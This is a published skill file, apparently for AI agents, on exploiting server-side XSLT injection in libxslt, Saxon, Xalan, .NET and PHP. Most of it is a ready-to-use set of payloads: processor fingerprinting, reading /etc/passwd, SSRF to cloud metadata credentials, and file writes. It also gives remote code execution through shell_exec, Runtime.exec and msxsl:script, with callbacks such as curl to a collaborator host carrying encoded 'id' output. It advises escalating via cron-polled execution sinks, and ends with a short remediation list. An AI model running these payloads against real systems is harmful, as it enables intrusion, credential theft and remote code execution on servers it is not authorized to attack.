exploiting-xslt-server-side-injection

star 599

Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates when XSL/XSLT content or document/stylesheet references reach a server-side transformer.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-xslt-server-side-injection description: Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates when XSL/XSLT content or document/stylesheet references reach a server-side transformer. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • xslt-injection
  • ssrf
  • rce
  • owasp
  • web-security version: '1.0' author: xalgorix license: Apache-2.0

Exploiting XSLT Server-Side Injection

When to Use

  • During authorized tests where the server transforms XML to HTML/PDF/CSV using XSLT
  • When you can upload or influence an .xsl stylesheet, or the XML references an external stylesheet
  • When PDF/report generators, document converters, or ESI stylesheet= params perform transforms
  • When XXE payloads fail but the stylesheet parser itself is still attacker-reachable
  • When you see frameworks: libxslt (PHP/lxml/GNOME), Saxon (Java), Xalan (Apache), .NET, MSXML

Critical: Variants Most Often Missed

The biggest miss is stopping at generic XXE. Fingerprint the processor first, then switch to processor-specific primitives — a failed document('/etc/passwd') or failed Java call does NOT mean the engine is hardened.

<!-- 1. FINGERPRINT: identify version + vendor before anything else -->
<xsl:value-of select="system-property('xsl:version')"/>
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
<xsl:value-of select="system-property('xsl:product-name')"/>
<!-- 2. FILE READ — vary by processor -->
<!-- Saxon (XSLT 2.0): unparsed-text reads ANY text file -->
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
<!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML -->
<xsl:value-of select="document('/etc/passwd')"/>          <!-- may error -->
<xsl:value-of select="document('/path/to/file.xml')"/>     <!-- works if valid XML -->
<!-- PHP/libxslt extension -->
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/>
<!-- DTD external entity inside the stylesheet -->
<!DOCTYPE x [<!ENTITY ext SYSTEM "file:///etc/passwd">]> ... &ext;
<!-- 3. SSRF -->
<xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>
<xsl:include href="http://127.0.0.1:8000/xslt"/>          <!-- include fetched BEFORE access control -->
<xsl:value-of select="document('http://example.com:22')"/> <!-- port probe -->
<!-- 4. FILE WRITE -->
<!-- libxslt EXSLT secondary output -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/html/test.txt" method="text">0xdf was here!</exsl:document>
  </xsl:template>
</xsl:stylesheet>
<!-- Saxon -->
<xsl:result-document href="local_file.txt"><xsl:text>Write Local File</xsl:text></xsl:result-document>
<!-- 5. RCE — processor-specific extension functions -->
<!-- PHP php:function -->
<xsl:value-of select="php:function('shell_exec','id')"/>
<!-- Xalan (Java) -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:variable name="r" select="rt:getRuntime()"/>
  <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
</xsl:stylesheet>
<!-- Saxon (java: prefix, needs ALLOW_EXTERNAL_FUNCTIONS) -->
<xsl:stylesheet version="2.0" xmlns:rt="java:java.lang.Runtime"> ...
  <xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/>
<!-- .NET msxsl:script (only if EnableScript=true; unsupported on .NET Core/5+) -->
<msxsl:script language="C#" implements-prefix="user"><![CDATA[
  public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker");return "ok";}
]]></msxsl:script>

How to CONFIRM a hit (avoid false negatives)

  • Fingerprint success: response shows Version: 2.0, Vendor: SAXON 9.x etc. → injection confirmed, pick the right payload set.
  • File read: /etc/passwd content (regex root:.*?:0:0:) or target file bytes appear in the transformed output.
  • SSRF: out-of-band callback hits your collaborator, OR document('http://host:22') returns a connect/timing difference per port.
  • File write: re-fetch the written path (e.g. /test.txt) and see your marker. Remember XML encoding — use &amp; for a literal &, not %26.
  • Blind RCE: when only a boolean/object reference comes back, pivot to DNS/HTTP callbacks, time delays (shell_exec('sleep 10')), or file writes — do not expect stdout.
  • Hardening is partial: document('/etc/passwd') failing on libxslt doesn't rule out php:function/SSRF; a blocked Java call on Saxon doesn't rule out doc()/unparsed-text().

Workflow

Step 1: Detect & Fingerprint

# Local repro environment
sudo apt-get install -y default-jdk libsaxonb-java libsaxon-java
saxonb-xslt -xsl:detection.xsl xml.xml      # prints Version + Vendor

Submit the system-property() stylesheet to the target and read the vendor string from the response.

Step 2: Exploit per processor

libxslt/PHP  -> php:function('file_get_contents'/'shell_exec'), document() SSRF, exsl:document write
Saxon        -> unparsed-text() read, result-document write, java: RCE if ext funcs enabled
Xalan        -> java.lang.Runtime exec (Java extension namespace)
.NET         -> document() SSRF/LFI always; msxsl:script RCE only on .NET Framework w/ EnableScript

Step 3: Escalate to RCE / Impact

<!-- Confirm RCE blindly with a callback, then upgrade -->
<xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>

Practical write workflow: first write a marker into a web-served path to prove the primitive, then write into an execution sink already on the host (cron-polled dir, auto-reload path, scheduled task input).

Hardening-bypass notes

  • lxml: XSLTAccessControl defaults to allowing file/network and only mediates transform-time I/O; xsl:import/xsl:include are parsed BEFORE that hook, so attacker stylesheets still load.
  • Apps often harden the XML parser (resolve_entities=False, no_network=True) but leave the stylesheet parser default — XSLT features stay reachable.

Key Concepts

Concept Description
Processor fingerprinting system-property('xsl:vendor'/'xsl:version') selects the right exploit path
document() vs unparsed-text() libxslt document() expects XML; Saxon unparsed-text() reads any text
Extension functions php:function, java:/Xalan Runtime, msxsl:script enable RCE
EXSLT / result-document exsl:document (libxslt) and xsl:result-document (Saxon) write files
include/import pre-ACL xsl:include is fetched before access-control checks → SSRF/stylesheet load
Blind RCE Boolean/object return → pivot to callbacks, delays, file writes

Tools & Systems

Tool Purpose
saxonb-xslt Local Saxon CLI for building/testing payloads
xsltproc / libxslt Local libxslt repro
Burp Suite Deliver stylesheets, capture transformed output, drive OOB
Collaborator / interactsh Confirm blind SSRF & RCE callbacks
PayloadsAllTheThings (XSLT Injection) Payload reference
Auto_Wordlists/xslt.txt Detection/exploit payload list

Common Scenarios

Scenario 1: PDF Generator File Read

A reporting endpoint transforms user XML into a PDF with Saxon. Injecting unparsed-text('/etc/passwd') embeds the password file into the generated PDF.

Scenario 2: PHP libxslt RCE

A PHP app applies a user-controlled stylesheet. php:function('shell_exec','id') is enabled by default in many libxslt/PHP setups, giving direct command execution.

Scenario 3: SSRF to Cloud Metadata

A .NET converter blocks msxsl:script but document('http://169.254.169.254/latest/meta-data/iam/security-credentials/') succeeds, leaking cloud IAM credentials.

Output Format

## XSLT Server-Side Injection Finding

**Vulnerability**: XSLT Server-Side Injection
**Severity**: Critical (CVSS 9.1–9.8 for RCE; High for LFI/SSRF)
**Location**: POST /report/transform (XML/XSL upload or stylesheet= parameter)
**OWASP Category**: A03:2021 - Injection (with A10 SSRF when applicable)

### Reproduction Steps
1. Submit system-property() stylesheet → response shows Vendor: SAXON 9.1.0.8.
2. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output.
3. With ext funcs enabled, java:java.lang.Runtime exec triggers a collaborator callback (RCE).

### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| system-property('xsl:vendor') | SAXON 9.1.0.8 | Fingerprint |
| unparsed-text('/etc/passwd') | root:x:0:0:... | File read |
| rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE |

### Impact
Local file disclosure, SSRF (incl. cloud metadata), arbitrary file write, and remote code execution depending on processor and enabled extension functions.

### Recommendation
1. Never transform attacker-controlled stylesheets; pin trusted, static XSL.
2. Disable extension functions (PHP `php:function`, Saxon `ALLOW_EXTERNAL_FUNCTIONS`, .NET `EnableScript`).
3. Restrict the processor's file/network access (lxml `XSLTAccessControl`, `no_network=True`, resolver=None).
4. Run the transformer with least privilege and no outbound network access.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-xslt-server-side-injection
Repository Details
star Stars 599
call_split Forks 104
navigation Branch main
article Path SKILL.md
More from Creator